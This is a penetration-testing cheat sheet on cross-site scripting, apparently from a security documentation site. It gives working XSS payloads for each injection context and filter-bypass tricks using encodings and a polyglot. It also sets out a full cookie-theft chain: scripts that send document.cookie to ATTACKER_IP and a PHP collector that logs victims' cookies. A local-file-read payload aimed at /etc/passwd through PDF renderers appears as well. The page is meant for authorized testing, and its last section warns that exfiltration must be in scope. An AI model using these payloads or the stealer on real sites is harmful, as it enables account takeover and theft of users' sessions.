> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# XSS (Cross-Site Scripting)

XSS happens when user input ends up in a page without being properly sanitized, letting an attacker inject JavaScript that runs in another user's browser, in their session, with their cookies, their DOM access, everything. It's a client-side bug, but it's one of the few web vulnerabilities that routinely leads straight to account takeover, since the victim's browser does the attacker's work for them.

> **Stored XSS**
>
> Payload gets saved server-side (a comment, a profile field) and fires for every visitor who views that page later. Highest impact, hits anyone who views the page.

> **Reflected XSS**
>
> Payload comes back in the response immediately, usually from a URL parameter or search box. Needs a victim to click a crafted link.

> [!NOTE]
>
> **DOM-based XSS** is really a third axis, not a competitor to the above: the payload never touches the server at all, a client-side script reads attacker-controlled data (`location.hash`, `document.URL`, a URL parameter) and writes it into a dangerous sink (`innerHTML`, `eval`, `document.write`) itself. It can be either stored or reflected in terms of where the data originates, but the vulnerability lives entirely in JavaScript, not server-side templating.

***

## Basic Payloads

Start simple and work up, a bare `<script>` tag confirms the sink executes JavaScript at all before worrying about filters.

```html theme={null}
<script>alert(window.origin)</script>
```

If you're injecting into an existing HTML attribute, you need to break out of the quote first.

```html theme={null}
"><script>alert(window.origin)</script>
"><script>alert(window.origin)</script><!--
```

When `<script>` itself gets stripped or blocked, an event handler on a tag that's still allowed does the same job.

```html theme={null}
<img src="" onerror=alert(window.origin)>
"><img src="" onerror=alert(window.origin)>
```

> [!TIP]
>
> `window.origin` in the alert is deliberate, it proves the script runs in the target's own origin (and can therefore read that origin's cookies/storage), not just that a popup fired. Always confirm origin before chasing a payload further.

***

## Context Matters

Where your input lands changes which payload works. Check which context you're in before reaching for a generic script tag.

**HTML Body**

Input renders as a plain HTML tag, inject a new element directly.

```html theme={null}
<script>alert(1)</script>
<img src=x onerror=alert(1)>
```

**HTML Attribute**

Input lands inside an existing tag's attribute value, close the quote and the tag first.

```html theme={null}
"><script>alert(1)</script>
" autofocus onfocus=alert(1) x="
```

**JavaScript String**

Input lands inside an existing `<script>` block as a string literal, break out of the string instead of injecting a new tag.

```html theme={null}
';alert(1);//
";alert(1);//
</script><script>alert(1)</script>
```

**URL / href Attribute**

Input becomes part of a `href` or `src`, the `javascript:` pseudo-protocol runs code without any HTML injection at all.

```html theme={null}
javascript:alert(1)
javascript:alert(document.domain)
```

***

## Filter and WAF Bypasses

> **No \<script> tag allowed**
>
> Event handlers on tags that often survive a blocklist:
>
> ```html theme={null}
> <img src=x onerror=alert(1)>
> <svg onload=alert(1)>
> <body onload=alert(1)>
> <input autofocus onfocus=alert(1)>
> <details open ontoggle=alert(1)>
> ```

> **Keywords like 'alert', 'script', or quotes are blocked**
>
> Avoiding the literal string `alert` with bracket notation or `fromCharCode`:
>
> ```html theme={null}
> <script>top["al"+"ert"](1)</script>
> <script>eval(atob('YWxlcnQoMSk='))</script>
> <a href="javascript:alert(String.fromCharCode(88,83,83))">click</a>
> ```
>
> If quotes are stripped entirely, `String.fromCharCode` and backticks both avoid needing any:
>
> ```html theme={null}
> <script>alert`1`</script>
> ```

> **Spaces are filtered**
>
> Browsers (Gecko especially) tolerate a surprising range of non-alphanumeric characters between an event name and `=`:
>
> ```html theme={null}
> <img/src=x onerror=alert(1)>
> <svg%0Aonload=alert(1)>
> <BODY/onload=alert('XSS')>
> ```

> **javascript: protocol is filtered**
>
> Tabs, newlines, and carriage returns can be inserted inside the word "javascript" without breaking how the browser parses the protocol, since only those three characters get silently stripped from a URL scheme:
>
> ```html theme={null}
> <a href="jav&#x09;ascript:alert(1)">click</a>
> <a href="java&#x0A;script:alert(1)">click</a>
> ```

> **Encoding-based bypasses**
>
> HTML entity encoding (decimal or hex, with or without the trailing semicolon) slips past filters that only check for a literal `javascript:` string:
>
> ```html theme={null}
> <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">click</a>
> <a href="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A;alert(1)">click</a>
> ```

> **Polyglot payload**
>
> Built to fire regardless of exactly which context (HTML, attribute, JS string, URL) it lands in, useful when you're blind-testing many injection points at once and don't want to craft a payload per field:
>
> ```html theme={null}
> javascript:/*--></title></style></textarea></script></xmp>
> <svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
> ```
>
> > [!NOTE]
> >
> > See also [Polygot XSS - Payloads All The Things](https://swisskyrepo.github.io/PayloadsAllTheThings/XSS%20Injection/2%20-%20XSS%20Polyglot/) for more commands

***

## Stealing Cookies

Loading a remote script is the cleanest way to deliver a larger payload without cramming everything into the injection point itself.

```html theme={null}
<script src="http://ATTACKER_IP/script.js"></script>
```

A one-liner that exfiltrates the victim's cookies to a listener via an image request, works even when the target blocks outbound `<script>` loads but still renders images.

```html theme={null}
"><script>new Image().src='http://ATTACKER_IP/index.php?c=' + encodeURI(document.cookie)</script>
```

**1. Stand up a collector**

A tiny PHP page logs every cookie it receives, keyed by the victim's IP.

```php theme={null}
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>
```

```text theme={null}
sudo php -S 0.0.0.0:9200
```

**2. Write the stealer script**

```js theme={null}
new Image().src='http://ATTACKER_IP:9200/index.php?c='+document.cookie
```

**3. Deliver it through the injection point**

```html theme={null}
"><script src=http://ATTACKER_IP:9200/script.js></script>
```

***

## DOM-Based XSS and Local File Read

When the vulnerable code lives entirely client-side, the usual suspects are reading from a source the attacker controls and writing it into a dangerous sink without sanitizing in between.

<table>
  <colgroup>
    <col width="287" />

    <col width="376" />
  </colgroup>

  <thead>
    <tr>
      <th>Sources (attacker-influenced input)</th>
      <th>Sinks (dangerous if unsanitized)</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>`location.hash`, `location.search`</td>
      <td>`innerHTML`, `outerHTML`</td>
    </tr>

    <tr>
      <td>`document.URL`, `document.referrer`</td>
      <td>`document.write()` / `document.writeln()`</td>
    </tr>

    <tr>
      <td>`window.name`</td>
      <td>`eval()`, `setTimeout(string)`, `setInterval(string)`</td>
    </tr>

    <tr>
      <td>URL parameters read via JS</td>
      <td>`element.setAttribute()` on event/href attributes</td>
    </tr>
  </tbody>
</table>

> [!NOTE]
>
> HTML injection inside a server-rendered PDF (via a headless browser like wkhtmltopdf or a Chrome-based renderer) is a DOM-XSS-adjacent bug worth knowing: if user input reaches the HTML that gets rendered into a PDF, the renderer's own JavaScript engine can be abused for local file read or SSRF, since the renderer often runs with far fewer restrictions than a normal browser tab. See [SSRF to local file read through HTML injection in a PDF](https://namratha-gm.medium.com/ssrf-to-local-file-read-through-html-injection-in-pdf-file-53711847cb2f) and [finding SSRF via HTML injection inside a PDF on AWS EC2](https://appsecco.com/blog/finding-ssrf-via-html-injection-inside-a-pdf-file-on-aws-ec2) for real-world writeups.

If the renderer's JS engine allows `XMLHttpRequest` against the `file://` scheme (several headless PDF renderers historically did), this reads a local file and writes its contents straight into the rendered output.

```html theme={null}
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>
```

***

## Automated Tools

**XSStrike**

Fuzzes a parameter intelligently, builds its own payloads based on what the app reflects back rather than just throwing a static list.

```text theme={null}
python xsstrike.py -u "http://TARGET_IP:PORT/index.php?task=test"
```

**XSSer**

Older but still useful, especially for quickly checking a parameter once you already suspect it's injectable.

```text theme={null}
xsser --url "http://TARGET.TLD" -p "param=XSS"
```

A GTK interface is available for a more visual workflow.

```text theme={null}
xsser --gtk
```

> [!TIP]
>
> XSStrike, BruteXSS, and XSSer cover most automated-detection needs between them, XSStrike is generally the strongest first choice for its context-aware fuzzing.

***

## Quick Reference Tools

> **[HackTricks: XSS](https://github.com/HackTricks-wiki/hacktricks/tree/master/src/pentesting-web/xss-cross-site-scripting)**
>
> Deep, continuously updated collection of payloads and bypasses by context.

> **[PayloadsAllTheThings: XSS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md)**
>
> Large categorized payload collection.

> **[xss-payload-list](https://github.com/payload-box/xss-payload-list)**
>
> Flat all-in-one payload list, good for quick fuzzing.

> **[OWASP XSS Filter Evasion Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)**
>
> The canonical reference for encoding and filter-bypass tricks.

> **[XSStrike](https://github.com/s0md3v/XSStrike)**
>
> Context-aware XSS detection and fuzzing.

> **[XSSer](https://github.com/epsylon/xsser)**
>
> Automated XSS detection with an optional GTK UI.

> [!WARNING]
>
> Cookie stealers and anything that exfiltrates data to an external listener are active exploitation, not just a proof of concept. Make sure that's explicitly in scope before moving past a plain `alert()`.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.